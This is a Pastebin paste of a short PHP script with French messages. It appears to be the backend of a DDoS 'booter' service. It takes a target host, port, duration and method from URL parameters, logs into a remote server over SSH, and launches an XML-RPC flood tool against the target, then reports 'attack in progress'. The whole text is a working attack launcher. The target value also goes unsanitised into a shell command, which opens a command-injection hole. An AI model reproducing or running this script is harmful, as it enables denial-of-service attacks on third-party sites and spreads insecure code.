Advertisement
Guest User

Untitled

a guest
Apr 18th, 2016
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.43 KB | None | 0 0
  1. <meta charset="utf-8">
  2. <?php
  3. ignore_user_abort(true);
  4. set_time_limit(0);
  5. $server_ip = "Ta cru ?";
  6. $server_pass = "azerty <--- tkt meme pas <3";
  7. $server_user = "system32 <-- Oui les backdoor x)";
  8.  
  9. $host = $_GET['host'];
  10. $port = $_GET['port'];
  11. $time = $_GET['time'];
  12. $method = strtoupper($_GET['method']);
  13. if ($method == "REBOOT") {
  14. $command = "reboot";
  15. }
  16. elseif ($method == "XML") {
  17. $command = "screen -dms XML ./xmlrpc $host 5k.txt $time 1000";
  18. }
  19. elseif ($method == "JOOMLA") {
  20. $command = "screen -dms XML ./xmlrpc $host 5k.txt $time 1000";
  21. }
  22. if (!function_exists("ssh2_connect")) die("La fonction ssh2 n'est pas installée"); if(!($con = ssh2_connect($server_ip, 22))){
  23. echo htmlspecialchars("PROBLEME DE CONNECTION");
  24. } else {
  25. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  26. echo htmlspecialchars("Erreur ssh2: utilisateur ou mot de passe incorrecte");
  27. } else {
  28. if (!($stream = ssh2_exec($con, $command ))) {
  29. echo htmlspecialchars("Impossible d'executée la commande");
  30. } else {
  31. stream_set_blocking($stream, true);
  32. $data = "";
  33. while ($buf = fread($stream,4096)) {
  34. $data .= $buf;
  35. }
  36. echo htmlspecialchars("Attaque en cours sur l'IP $host avec le port $port pour $time secondes avec la méthode $method ! - Script By Mr.Unkn0w");
  37. fclose($stream);
  38. }
  39. }
  40. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement